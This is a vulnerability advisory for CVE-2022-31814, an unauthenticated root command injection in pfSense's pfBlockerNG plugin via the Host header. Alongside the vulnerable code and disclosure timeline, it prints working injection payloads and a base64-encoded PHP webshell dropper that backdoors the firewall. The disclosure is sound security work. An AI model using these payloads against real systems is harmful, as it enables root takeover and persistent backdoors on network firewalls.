# pfBlockerNG Unauth RCE Vulnerability
* Autore articolo Di [r00t]()
* Data dell'articolo [5 Settembre 2022](https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/)
* [Nessun commento su pfBlockerNG Unauth RCE Vulnerability](https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/#respond)
## TL;DR
IHTeam undertook an independent security assessment of pfsense's pfBlockerNG
plugin version 2.1.4_26 and identified the following vulnerability:
* Unauthenticated Remote Command Execution as root (CVE-2022-31814)
## What's pfBlockerNG
pfBlockerNG
(<https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html>) is a
pfSense plugin that is NOT installed by default and it's generally used to
block inbound connections from whole countries or IP ranges.
## CVE-2022-31814
IHTeam identified a remote command execution vulnerability in **pfBlockerNG <=
2.1.4_26** that can be exploited from an unauthenticated perspective.
[![](https://images.seebug.org/1664333285307-w331s)](https://images.seebug.org/1664333285307-w331s)Fig
1: Image showing the installed pfBlockerNG plugin
Being the web server run by the root user, the impact of this vulnerability is
critical, with a CVSS 3.0 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
The consultant downloaded the latest stable version of pfSense (2.6.0 at the
moment of writing) and installed the latest stable version of pfBlockerNG
(2.1.4_26 at the moment of writing).
The vulnerability was identified in the file
**/usr/local/www/pfblockerng/www/index.php** which is used to record and query
DNSBL data. Specifically to query, the code uses PHP function **exec()** ,
passing untrusted data into the command.
```
// Query DNSBL Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
```
The **$_SERVER[ 'HTTP_HOST']** element passed in the above code, is a user-
controllable input that could result in changing the meaning of the command
(as originally intended). An attacker can tamper with the HTTP_HOST parameter
via the " **Host** :" header of the request, as shown in the picture below:
[![](https://images.seebug.org/1664333287190-w331s)](https://images.seebug.org/1664333287190-w331s)Fig 2: Image showing the "Host" header value reflected in command
-- **Restrictions on characters** --
There were few restrictions in place regarding characters you could use:
* htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes ("), and ampersand (&)
[![](https://images.seebug.org/1664333288731-w331s)](https://images.seebug.org/1664333288731-w331s)Fig
3: Image showing how "&" was encoded in HTML when used
* nginx web server won't accept the forward slash (/) in the Host header, returning a 400 - Bad Request
[![](https://images.seebug.org/1664333290383-w331s)](https://images.seebug.org/1664333290383-w331s)Fig
4: Image showing nginx returning 400
Therefore, the only available characters to build a working payload were:
* pipe (|)
* semicolon (;)
* single quote (')
* spaces ( )
**- Simple proof of concept-**
To easily identify a valid payload, we can copy the original command in the
exec() function and try to tamper with it directly in a shell:
```
/usr/bin/grep -l ' "INJECTION 60 IN A' /var/db/pfblockerng/dnsblalias/*
```
1. Close the single quote
2. Specify a directory to search on
3. Break the command with a semicolon
4. Comment or add an additional single quote
```
' *; sleep 5; '
```
The above simple proof of concept made the system delay the request for 5
seconds, confirming the injection worked.
**- Backdooring pfSense-**
The next step would involve the build of a stable shell on the remote machine
and to do so, we would need to find a creative way to (at least) write a PHP
file.
Remember that we can't use redirections or even forward slashes, therefore the
consultant utilized base64 to write a more complex payload that could be
executed via php-cli.
However, the "base64 -d" binary was not installed by default in pfSense, but
python3.8 was, therefore we were able to write and decode base64 payloads and
pipe everything in the php-cli binary:
* Simple PHP code
```
<?echo("HELL");?>
```
- Encode it in base64
```
PD9lY2hvKCJIRUxMIik7Pz4=
```
- Use python to decode the base64
```
python3.8 -m base64 -d
```
- Pipe everything into PHP
```
| php
```
[![](https://images.seebug.org/1664333292385-w331s)](https://images.seebug.org/1664333292385-w331s)Fig 5: Image showing the "echo" message successfully executed by PHP
Keep in mind that base64 has forward slashes (/) in its charset - therefore
build a payload that doesn't include them.
Now that we got back the "HELL" message, we know that PHP successfully
executed our payload, we can build a more complex payload to backdoor pfSense.
```
<?$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>
```
It creates a file in **/usr/local/www/system_advanced_control.php** with a
very simple call to execute command and get back results from it.
```
PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+
```
Once again, the above payload, encoded in base64, did not contain any forward
slashes. Hence, the final payload to obtain a backdoor in pfSense would be as
follow:
```
/usr/bin/grep -l ' "' * ; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKGV4ZWMoJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSgkYSk7Pz4=' | python3.8 -m base64 -d | php ; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*
```
## Exploit Code
The exploit code can be found at [https://iht.li/p/WWATN
](https://iht.li/p/WWATN)
[![](https://images.seebug.org/1664333294145-w331s)](https://images.seebug.org/1664333294145-w331s)Fig
6: Image showing the exploit execution
## Disclosure Timeline
28/05/2022 - Technical details sent to [[email protected]](/cdn-cgi/l/email-
protection)
31/05/2022 - No response from NetGate, directly contacted BBcan177 (maintainer
of the package in GitHub)
05/06/2022 - BBcan177 released a temporary patch
https://github.com/pfsense/FreeBSD-ports/pull/1169 while waiting to deprecate
version 2.x in favor of 3.x
07/06/2022 - NetGate came back saying they don't issue security advisories for
vulnerabilities within Packages, especially community-maintained packages such
as pfBlockerNG.
-3 months delay to allow clients to patch-
05/09/2022 - Blog post and exploit published
暂无评论